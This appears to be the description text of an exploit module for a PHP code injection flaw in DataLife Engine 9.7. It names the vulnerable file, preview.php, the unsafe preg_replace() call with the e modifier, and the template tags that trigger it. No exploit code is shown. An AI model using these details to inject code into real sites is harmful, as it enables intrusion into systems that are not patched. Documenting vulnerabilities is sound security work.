                    This module exploits a PHP code injection vulnerability DataLife Engine 9.7.
                The vulnerability exists in preview.php, due to an insecure usage of preg_replace()
                with the e modifier, which allows to inject arbitrary php code, when the template
                in use contains a [catlist] or [not-catlist] tag.
